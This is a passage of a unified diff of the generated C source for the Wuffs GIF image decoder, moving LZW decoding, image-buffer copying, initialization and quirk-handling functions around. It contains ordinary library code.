uint64_t v_n_compressed = 0; -- wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); -- wuffs_base__io_buffer* v_r = &u_r; -- const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- uint64_t v_mark = 0; -- wuffs_base__status v_copy_status = wuffs_base__make_status(NULL); -+ wuffs_base__pixel_blend a_blend, -+ wuffs_base__slice_u8 a_workbuf, -+ wuffs_base__decode_frame_options* a_opts); - -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -- } -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_gif__decoder__reset_gc( -+ wuffs_gif__decoder* self); - -- uint32_t coro_susp_point = self->private_impl.p_decode_id_part2[0]; -- if (coro_susp_point) { -- v_block_size = self->private_data.s_decode_id_part2[0].v_block_size; -- v_need_block_size = self->private_data.s_decode_id_part2[0].v_need_block_size; -- } -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_gif__decoder__decode_up_to_id_part1( -+ wuffs_gif__decoder* self, -+ wuffs_base__io_buffer* a_src); - -- wuffs_gif__decoder__lzw_init(self); -- v_need_block_size = true; -- label__outer__continue:; -- while (true) { -- if (v_need_block_size) { -- v_need_block_size = false; -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t t_0 = *iop_a_src++; -- v_block_size = t_0; -- } -- } -- if (v_block_size == 0u) { -- break; -- } -- while (((uint64_t)(io2_a_src - iop_a_src)) == 0u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); -- } -- if (self->private_impl.f_compressed_ri == self->private_impl.f_compressed_wi) { -- self->private_impl.f_compressed_ri = 0u; -- self->private_impl.f_compressed_wi = 0u; -- } -- while (self->private_impl.f_compressed_wi <= 3841u) { -- v_n_compressed = wuffs_base__u64__min(v_block_size, ((uint64_t)(io2_a_src - iop_a_src))); -- if (v_n_compressed <= 0u) { -- break; -- } -- v_n_copied = wuffs_base__io_reader__limited_copy_u32_to_slice( -- &iop_a_src, io2_a_src,((uint32_t)(v_n_compressed)), wuffs_base__make_slice_u8_ij(self->private_data.f_compressed, self->private_impl.f_compressed_wi, 4096)); -- wuffs_base__u64__sat_add_indirect(&self->private_impl.f_compressed_wi, ((uint64_t)(v_n_copied))); -- wuffs_base__u64__sat_sub_indirect(&v_block_size, ((uint64_t)(v_n_copied))); -- if (v_block_size > 0u) { -- break; -- } -- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -- v_need_block_size = true; -- break; -- } -- v_block_size = ((uint64_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))); -- iop_a_src += 1u; -- } -- while (true) { -- if ((self->private_impl.f_compressed_ri > self->private_impl.f_compressed_wi) || (self->private_impl.f_compressed_wi > 4096u)) { -- status = wuffs_base__make_status(wuffs_gif__error__internal_error_inconsistent_i_o); -- goto exit; -- } -- { -- wuffs_base__io_buffer* o_0_v_r = v_r; -- const uint8_t *o_0_iop_v_r = iop_v_r; -- const uint8_t *o_0_io0_v_r = io0_v_r; -- const uint8_t *o_0_io1_v_r = io1_v_r; -- const uint8_t *o_0_io2_v_r = io2_v_r; -- v_r = wuffs_base__io_reader__set( -- &u_r, -- &iop_v_r, -- &io0_v_r, -- &io1_v_r, -- &io2_v_r, -- wuffs_base__make_slice_u8_ij(self->private_data.f_compressed, -- self->private_impl.f_compressed_ri, -- self->private_impl.f_compressed_wi), -- 0u); -- v_mark = ((uint64_t)(iop_v_r - io0_v_r)); -- u_r.meta.ri = ((size_t)(iop_v_r - u_r.data.ptr)); -- wuffs_gif__decoder__lzw_read_from(self, v_r); -- iop_v_r = u_r.data.ptr + u_r.meta.ri; -- wuffs_base__u64__sat_add_indirect(&self->private_impl.f_compressed_ri, wuffs_base__io__count_since(v_mark, ((uint64_t)(iop_v_r - io0_v_r)))); -- v_r = o_0_v_r; -- iop_v_r = o_0_iop_v_r; -- io0_v_r = o_0_io0_v_r; -- io1_v_r = o_0_io1_v_r; -- io2_v_r = o_0_io2_v_r; -- } -- if (self->private_impl.f_lzw_output_ri < self->private_impl.f_lzw_output_wi) { -- v_copy_status = wuffs_gif__decoder__copy_to_image_buffer(self, a_dst, wuffs_base__make_slice_u8_ij(self->private_data.f_lzw_output, -- self->private_impl.f_lzw_output_ri, -- self->private_impl.f_lzw_output_wi)); -- if (wuffs_base__status__is_error(&v_copy_status)) { -- status = v_copy_status; -- goto exit; -- } -- self->private_impl.f_lzw_output_ri = 0u; -- self->private_impl.f_lzw_output_wi = 0u; -- } -- if (self->private_impl.f_lzw_read_from_return_value == 0u) { -- self->private_impl.f_ignored_but_affects_benchmarks = false; -- if (v_need_block_size || (v_block_size > 0u)) { -- self->private_data.s_decode_id_part2[0].scratch = ((uint32_t)(v_block_size)); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -- if (self->private_data.s_decode_id_part2[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -- self->private_data.s_decode_id_part2[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -- iop_a_src = io2_a_src; -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- iop_a_src += self->private_data.s_decode_id_part2[0].scratch; -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -- status = wuffs_gif__decoder__skip_blocks(self, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -- } -- } -- goto label__outer__break; -- } else if (self->private_impl.f_lzw_read_from_return_value == 1u) { -- continue; -- } else if (self->private_impl.f_lzw_read_from_return_value == 2u) { -- goto label__outer__continue; -- } else if (self->private_impl.f_quirks[3u] && (self->private_impl.f_dst_y >= self->private_impl.f_frame_rect_y1) && (self->private_impl.f_interlace == 0u)) { -- if (v_need_block_size || (v_block_size > 0u)) { -- self->private_data.s_decode_id_part2[0].scratch = ((uint32_t)(v_block_size)); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -- if (self->private_data.s_decode_id_part2[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -- self->private_data.s_decode_id_part2[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -- iop_a_src = io2_a_src; -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- iop_a_src += self->private_data.s_decode_id_part2[0].scratch; -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -- status = wuffs_gif__decoder__skip_blocks(self, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -- } -- } -- goto label__outer__break; -- } else if (self->private_impl.f_lzw_read_from_return_value == 3u) { -- status = wuffs_base__make_status(wuffs_gif__error__truncated_input); -- goto exit; -- } else if (self->private_impl.f_lzw_read_from_return_value == 4u) { -- status = wuffs_base__make_status(wuffs_gif__error__bad_lzw_code); -- goto exit; -- } -- status = wuffs_base__make_status(wuffs_gif__error__internal_error_inconsistent_i_o); -- goto exit; -- } -- } -- label__outer__break:; -- self->private_impl.f_compressed_ri = 0u; -- self->private_impl.f_compressed_wi = 0u; -- if ((self->private_impl.f_dst_y < self->private_impl.f_frame_rect_y1) && (self->private_impl.f_frame_rect_x0 != self->private_impl.f_frame_rect_x1) && (self->private_impl.f_frame_rect_y0 != self->private_impl.f_frame_rect_y1)) { -- status = wuffs_base__make_status(wuffs_base__error__not_enough_data); -- goto exit; -- } -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_gif__decoder__decode_header( -+ wuffs_gif__decoder* self, -+ wuffs_base__io_buffer* a_src); - -- ok: -- self->private_impl.p_decode_id_part2[0] = 0; -- goto exit; -- } -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_gif__decoder__decode_lsd( -+ wuffs_gif__decoder* self, -+ wuffs_base__io_buffer* a_src); - -- goto suspend; -- suspend: -- self->private_impl.p_decode_id_part2[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_data.s_decode_id_part2[0].v_block_size = v_block_size; -- self->private_data.s_decode_id_part2[0].v_need_block_size = v_need_block_size; -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_gif__decoder__decode_extension( -+ wuffs_gif__decoder* self, -+ wuffs_base__io_buffer* a_src); - -- goto exit; -- exit: -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_gif__decoder__skip_blocks( -+ wuffs_gif__decoder* self, -+ wuffs_base__io_buffer* a_src); - -- return status; --} -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_gif__decoder__decode_ae( -+ wuffs_gif__decoder* self, -+ wuffs_base__io_buffer* a_src); - --// -------- func gif.decoder.copy_to_image_buffer -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_gif__decoder__decode_gc( -+ wuffs_gif__decoder* self, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_gif__decoder__decode_id_part0( -+ wuffs_gif__decoder* self, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_gif__decoder__decode_id_part1( -+ wuffs_gif__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__pixel_blend a_blend); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_gif__decoder__decode_id_part2( -+ wuffs_gif__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf); - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status - wuffs_gif__decoder__copy_to_image_buffer( - wuffs_gif__decoder* self, - wuffs_base__pixel_buffer* a_pb, -- wuffs_base__slice_u8 a_src) { -- wuffs_base__slice_u8 v_dst = {0}; -- wuffs_base__slice_u8 v_src = {0}; -- uint64_t v_width_in_bytes = 0; -- uint64_t v_n = 0; -- uint64_t v_src_ri = 0; -- wuffs_base__pixel_format v_pixfmt = {0}; -- uint32_t v_bytes_per_pixel = 0; -- uint32_t v_bits_per_pixel = 0; -- wuffs_base__table_u8 v_tab = {0}; -- uint64_t v_i = 0; -- uint64_t v_j = 0; -- uint32_t v_replicate_y0 = 0; -- uint32_t v_replicate_y1 = 0; -- wuffs_base__slice_u8 v_replicate_dst = {0}; -- wuffs_base__slice_u8 v_replicate_src = {0}; -+ wuffs_base__slice_u8 a_src); - -- v_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_pb); -- v_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_pixfmt); -- if ((v_bits_per_pixel & 7u) != 0u) { -- return wuffs_base__make_status(wuffs_base__error__unsupported_option); -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_gif__decoder__lzw_init( -+ wuffs_gif__decoder* self); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_gif__decoder__lzw_read_from( -+ wuffs_gif__decoder* self, -+ wuffs_base__io_buffer* a_src); -+ -+// ---------------- VTables -+ -+const wuffs_base__image_decoder__func_ptrs -+wuffs_gif__decoder__func_ptrs_for__wuffs_base__image_decoder = { -+ (wuffs_base__status(*)(void*, -+ wuffs_base__pixel_buffer*, -+ wuffs_base__io_buffer*, -+ wuffs_base__pixel_blend, -+ wuffs_base__slice_u8, -+ wuffs_base__decode_frame_options*))(&wuffs_gif__decoder__decode_frame), -+ (wuffs_base__status(*)(void*, -+ wuffs_base__frame_config*, -+ wuffs_base__io_buffer*))(&wuffs_gif__decoder__decode_frame_config), -+ (wuffs_base__status(*)(void*, -+ wuffs_base__image_config*, -+ wuffs_base__io_buffer*))(&wuffs_gif__decoder__decode_image_config), -+ (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_gif__decoder__frame_dirty_rect), -+ (uint64_t(*)(const void*, -+ uint32_t))(&wuffs_gif__decoder__get_quirk), -+ (uint32_t(*)(const void*))(&wuffs_gif__decoder__num_animation_loops), -+ (uint64_t(*)(const void*))(&wuffs_gif__decoder__num_decoded_frame_configs), -+ (uint64_t(*)(const void*))(&wuffs_gif__decoder__num_decoded_frames), -+ (wuffs_base__status(*)(void*, -+ uint64_t, -+ uint64_t))(&wuffs_gif__decoder__restart_frame), -+ (wuffs_base__status(*)(void*, -+ uint32_t, -+ uint64_t))(&wuffs_gif__decoder__set_quirk), -+ (wuffs_base__empty_struct(*)(void*, -+ uint32_t, -+ bool))(&wuffs_gif__decoder__set_report_metadata), -+ (wuffs_base__status(*)(void*, -+ wuffs_base__io_buffer*, -+ wuffs_base__more_information*, -+ wuffs_base__io_buffer*))(&wuffs_gif__decoder__tell_me_more), -+ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_gif__decoder__workbuf_len), -+}; -+ -+// ---------------- Initializer Implementations -+ -+wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT -+wuffs_gif__decoder__initialize( -+ wuffs_gif__decoder* self, -+ size_t sizeof_star_self, -+ uint64_t wuffs_version, -+ uint32_t options){ -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); - } -- v_bytes_per_pixel = (v_bits_per_pixel >> 3u); -- v_width_in_bytes = ((uint64_t)((self->private_impl.f_width * v_bytes_per_pixel))); -- v_tab = wuffs_base__pixel_buffer__plane(a_pb, 0u); -- while (v_src_ri < ((uint64_t)(a_src.len))) { -- v_src = wuffs_base__slice_u8__subslice_i(a_src, v_src_ri); -- if (self->private_impl.f_dst_y >= self->private_impl.f_frame_rect_y1) { -- if (self->private_impl.f_quirks[3u]) { -- return wuffs_base__make_status(NULL); -- } -- return wuffs_base__make_status(wuffs_base__error__too_much_data); -- } -- v_dst = wuffs_base__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); -- if (self->private_impl.f_dst_y >= self->private_impl.f_height) { -- v_dst = wuffs_base__slice_u8__subslice_j(v_dst, 0u); -- } else if (v_width_in_bytes < ((uint64_t)(v_dst.len))) { -- v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_width_in_bytes); -- } -- v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_bytes_per_pixel))); -- if (v_i < ((uint64_t)(v_dst.len))) { -- v_j = (((uint64_t)(self->private_impl.f_frame_rect_x1)) * ((uint64_t)(v_bytes_per_pixel))); -- if ((v_i <= v_j) && (v_j <= ((uint64_t)(v_dst.len)))) { -- v_dst = wuffs_base__slice_u8__subslice_ij(v_dst, v_i, v_j); -- } else { -- v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_i); -- } -- v_n = wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024), v_src); -- wuffs_base__u64__sat_add_indirect(&v_src_ri, v_n); -- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); -- self->private_impl.f_dirty_max_excl_y = wuffs_base__u32__max(self->private_impl.f_dirty_max_excl_y, wuffs_base__u32__sat_add(self->private_impl.f_dst_y, 1u)); -- } -- if (self->private_impl.f_frame_rect_x1 <= self->private_impl.f_dst_x) { -- self->private_impl.f_dst_x = self->private_impl.f_frame_rect_x0; -- if (self->private_impl.f_interlace == 0u) { -- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_y, 1u); -- continue; -- } -- if ((self->private_impl.f_num_decoded_frames_value == 0u) && ! self->private_impl.f_gc_has_transparent_index && (self->private_impl.f_interlace > 1u)) { -- v_replicate_src = wuffs_base__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); -- v_replicate_y0 = wuffs_base__u32__sat_add(self->private_impl.f_dst_y, 1u); -- v_replicate_y1 = wuffs_base__u32__sat_add(self->private_impl.f_dst_y, ((uint32_t)(WUFFS_GIF__INTERLACE_COUNT[self->private_impl.f_interlace]))); -- v_replicate_y1 = wuffs_base__u32__min(v_replicate_y1, self->private_impl.f_frame_rect_y1); -- while (v_replicate_y0 < v_replicate_y1) { -- v_replicate_dst = wuffs_base__table_u8__row_u32(v_tab, v_replicate_y0); -- wuffs_base__slice_u8__copy_from_slice(v_replicate_dst, v_replicate_src); -- v_replicate_y0 += 1u; -- } -- self->private_impl.f_dirty_max_excl_y = wuffs_base__u32__max(self->private_impl.f_dirty_max_excl_y, v_replicate_y1); -- } -- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_y, ((uint32_t)(WUFFS_GIF__INTERLACE_DELTA[self->private_impl.f_interlace]))); -- while ((self->private_impl.f_interlace > 0u) && (self->private_impl.f_dst_y >= self->private_impl.f_frame_rect_y1)) { --#if defined(__GNUC__) -+ if (sizeof(*self) != sizeof_star_self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); -+ } -+ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || -+ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { -+ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); -+ } -+ -+ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { -+ // The whole point of this if-check is to detect an uninitialized *self. -+ // We disable the warning on GCC. Clang-5.0 does not have this warning. -+#if !defined(__clang__) && defined(__GNUC__) - #pragma GCC diagnostic push --#pragma GCC diagnostic ignored "-Wconversion" --#endif -- self->private_impl.f_interlace -= 1u; --#if defined(__GNUC__) --#pragma GCC diagnostic pop -+#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" - #endif -- self->private_impl.f_dst_y = wuffs_base__u32__sat_add(self->private_impl.f_frame_rect_y0, WUFFS_GIF__INTERLACE_START[self->private_impl.f_interlace]); -- } -- continue; -- } -- if (((uint64_t)(a_src.len)) == v_src_ri) { -- break; -- } else if (((uint64_t)(a_src.len)) < v_src_ri) { -- return wuffs_base__make_status(wuffs_gif__error__internal_error_inconsistent_i_o); -+ if (self->private_impl.magic != 0) { -+ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); - } -- v_n = ((uint64_t)((self->private_impl.f_frame_rect_x1 - self->private_impl.f_dst_x))); -- v_n = wuffs_base__u64__min(v_n, (((uint64_t)(a_src.len)) - v_src_ri)); -- wuffs_base__u64__sat_add_indirect(&v_src_ri, v_n); -- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); -- if (self->private_impl.f_frame_rect_x1 <= self->private_impl.f_dst_x) { -- self->private_impl.f_dst_x = self->private_impl.f_frame_rect_x0; -- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_y, ((uint32_t)(WUFFS_GIF__INTERLACE_DELTA[self->private_impl.f_interlace]))); -- while ((self->private_impl.f_interlace > 0u) && (self->private_impl.f_dst_y >= self->private_impl.f_frame_rect_y1)) { --#if defined(__GNUC__) --#pragma GCC diagnostic push --#pragma GCC diagnostic ignored "-Wconversion" --#endif -- self->private_impl.f_interlace -= 1u; --#if defined(__GNUC__) -+#if !defined(__clang__) && defined(__GNUC__) - #pragma GCC diagnostic pop - #endif -- self->private_impl.f_dst_y = wuffs_base__u32__sat_add(self->private_impl.f_frame_rect_y0, WUFFS_GIF__INTERLACE_START[self->private_impl.f_interlace]); -- } -- continue; -- } -- if (v_src_ri != ((uint64_t)(a_src.len))) { -- return wuffs_base__make_status(wuffs_gif__error__internal_error_inconsistent_i_o); -+ } else { -+ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { -+ memset(self, 0, sizeof(*self)); -+ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; -+ } else { -+ memset(&(self->private_impl), 0, sizeof(self->private_impl)); - } -- break; - } -+ -+ self->private_impl.magic = WUFFS_BASE__MAGIC; -+ self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = -+ wuffs_base__image_decoder__vtable_name; -+ self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = -+ (const void*)(&wuffs_gif__decoder__func_ptrs_for__wuffs_base__image_decoder); - return wuffs_base__make_status(NULL); - } - --// -------- func gif.decoder.lzw_init -+wuffs_gif__decoder* -+wuffs_gif__decoder__alloc(void) { -+ wuffs_gif__decoder* x = -+ (wuffs_gif__decoder*)(calloc(1, sizeof(wuffs_gif__decoder))); -+ if (!x) { -+ return NULL; -+ } -+ if (wuffs_gif__decoder__initialize( -+ x, sizeof(wuffs_gif__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -+ free(x); -+ return NULL; -+ } -+ return x; -+} - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_gif__decoder__lzw_init( -- wuffs_gif__decoder* self) { -- uint32_t v_i = 0; -+size_t -+sizeof__wuffs_gif__decoder(void) { -+ return sizeof(wuffs_gif__decoder); -+} - -- self->private_impl.f_lzw_literal_width = 8u; -- if (self->private_impl.f_lzw_pending_literal_width_plus_one > 0u) { -- self->private_impl.f_lzw_literal_width = (self->private_impl.f_lzw_pending_literal_width_plus_one - 1u); -+// ---------------- Function Implementations -+ -+// -------- func gif.decoder.get_quirk -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_gif__decoder__get_quirk( -+ const wuffs_gif__decoder* self, -+ uint32_t a_key) { -+ if (!self) { -+ return 0; - } -- self->private_impl.f_lzw_clear_code = (((uint32_t)(1u)) << self->private_impl.f_lzw_literal_width); -- self->private_impl.f_lzw_end_code = (self->private_impl.f_lzw_clear_code + 1u); -- self->private_impl.f_lzw_save_code = self->private_impl.f_lzw_end_code; -- self->private_impl.f_lzw_prev_code = self->private_impl.f_lzw_end_code; -- self->private_impl.f_lzw_width = (self->private_impl.f_lzw_literal_width + 1u); -- self->private_impl.f_lzw_bits = 0u; -- self->private_impl.f_lzw_n_bits = 0u; -- self->private_impl.f_lzw_output_ri = 0u; -- self->private_impl.f_lzw_output_wi = 0u; -- v_i = 0u; -- while (v_i < self->private_impl.f_lzw_clear_code) { -- self->private_data.f_lzw_lm1s[v_i] = 0u; -- self->private_data.f_lzw_suffixes[v_i][0u] = ((uint8_t)(v_i)); -- v_i += 1u; -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; - } -- return wuffs_base__make_empty_struct(); -+ -+ uint32_t v_key = 0; -+ -+ if (a_key >= 1041635328u) { -+ v_key = (a_key - 1041635328u); -+ if (v_key < 7u) { -+ if (self->private_impl.f_quirks[v_key]) { -+ return 1u; -+ } -+ } -+ } -+ return 0u; - } - --// -------- func gif.decoder.lzw_read_from -+// -------- func gif.decoder.set_quirk - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_gif__decoder__lzw_read_from( -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_gif__decoder__set_quirk( - wuffs_gif__decoder* self, -- wuffs_base__io_buffer* a_src) { -- uint32_t v_clear_code = 0; -- uint32_t v_end_code = 0; -- uint32_t v_save_code = 0; -- uint32_t v_prev_code = 0; -- uint32_t v_width = 0; -- uint32_t v_bits = 0; -- uint32_t v_n_bits = 0; -- uint32_t v_output_wi = 0; -- uint32_t v_code = 0; -- uint32_t v_c = 0; -- uint32_t v_o = 0; -- uint32_t v_steps = 0; -- uint8_t v_first_byte = 0; -- uint16_t v_lm1_b = 0; -- uint16_t v_lm1_a = 0; -+ uint32_t a_key, -+ uint64_t a_value) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } - -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -+ if ((self->private_impl.f_call_sequence == 0u) && (a_key >= 1041635328u)) { -+ a_key -= 1041635328u; -+ if (a_key < 7u) { -+ self->private_impl.f_quirks[a_key] = (a_value > 0u); -+ return wuffs_base__make_status(NULL); -+ } - } -+ return wuffs_base__make_status(wuffs_base__error__unsupported_option); -+} - -- v_clear_code = self->private_impl.f_lzw_clear_code; -- v_end_code = self->private_impl.f_lzw_end_code; -- v_save_code = self->private_impl.f_lzw_save_code; -- v_prev_code = self->private_impl.f_lzw_prev_code; -- v_width = self->private_impl.f_lzw_width; -- v_bits = self->private_impl.f_lzw_bits; -- v_n_bits = self->private_impl.f_lzw_n_bits; -- v_output_wi = self->private_impl.f_lzw_output_wi; -- while (true) { -- if (v_n_bits < v_width) { -- if (((uint64_t)(io2_a_src - iop_a_src)) >= 4u) { -- v_bits |= ((uint32_t)(wuffs_base__peek_u32le__no_bounds_check(iop_a_src) << v_n_bits)); -- iop_a_src += ((31u - v_n_bits) >> 3u); -- v_n_bits |= 24u; -- } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -- if (a_src && a_src->meta.closed) { -- self->private_impl.f_lzw_read_from_return_value = 3u; -- } else { -- self->private_impl.f_lzw_read_from_return_value = 2u; -- } -- break; -- } else { -- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); -- iop_a_src += 1u; -- v_n_bits += 8u; -- if (v_n_bits >= v_width) { -- } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -- if (a_src && a_src->meta.closed) { -- self->private_impl.f_lzw_read_from_return_value = 3u; -- } else { -- self->private_impl.f_lzw_read_from_return_value = 2u; -- } -- break; -- } else { -- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); -- iop_a_src += 1u; -- v_n_bits += 8u; -- if (v_n_bits < v_width) { -- self->private_impl.f_lzw_read_from_return_value = 5u; -- break; -- } -- } -- } -- } -- v_code = ((v_bits) & WUFFS_BASE__LOW_BITS_MASK__U32(v_width)); -- v_bits >>= v_width; -- v_n_bits -= v_width; -- if (v_code < v_clear_code) { -- self->private_data.f_lzw_output[v_output_wi] = ((uint8_t)(v_code)); -- v_output_wi = ((v_output_wi + 1u) & 8191u); -- if (v_save_code <= 4095u) { -- v_lm1_a = (((uint16_t)(self->private_data.f_lzw_lm1s[v_prev_code] + 1u)) & 4095u); -- self->private_data.f_lzw_lm1s[v_save_code] = v_lm1_a; -- if ((v_lm1_a % 8u) != 0u) { -- self->private_impl.f_lzw_prefixes[v_save_code] = self->private_impl.f_lzw_prefixes[v_prev_code]; -- memcpy(self->private_data.f_lzw_suffixes[v_save_code],self->private_data.f_lzw_suffixes[v_prev_code], sizeof(self->private_data.f_lzw_suffixes[v_save_code])); -- self->private_data.f_lzw_suffixes[v_save_code][(v_lm1_a % 8u)] = ((uint8_t)(v_code)); -- } else { -- self->private_impl.f_lzw_prefixes[v_save_code] = ((uint16_t)(v_prev_code)); -- self->private_data.f_lzw_suffixes[v_save_code][0u] = ((uint8_t)(v_code)); -- } -- v_save_code += 1u; -- if (v_width < 12u) { -- v_width += (1u & (v_save_code >> v_width)); -- } -- v_prev_code = v_code; -- } -- } else if (v_code <= v_end_code) { -- if (v_code == v_end_code) { -- self->private_impl.f_lzw_read_from_return_value = 0u; -- break; -- } -- v_save_code = v_end_code; -- v_prev_code = v_end_code; -- v_width = (self->private_impl.f_lzw_literal_width + 1u); -- } else if (v_code <= v_save_code) { -- v_c = v_code; -- if (v_code == v_save_code) { -- v_c = v_prev_code; -- } -- v_o = ((v_output_wi + (((uint32_t)(self->private_data.f_lzw_lm1s[v_c])) & 4294967288u)) & 8191u); -- v_output_wi = 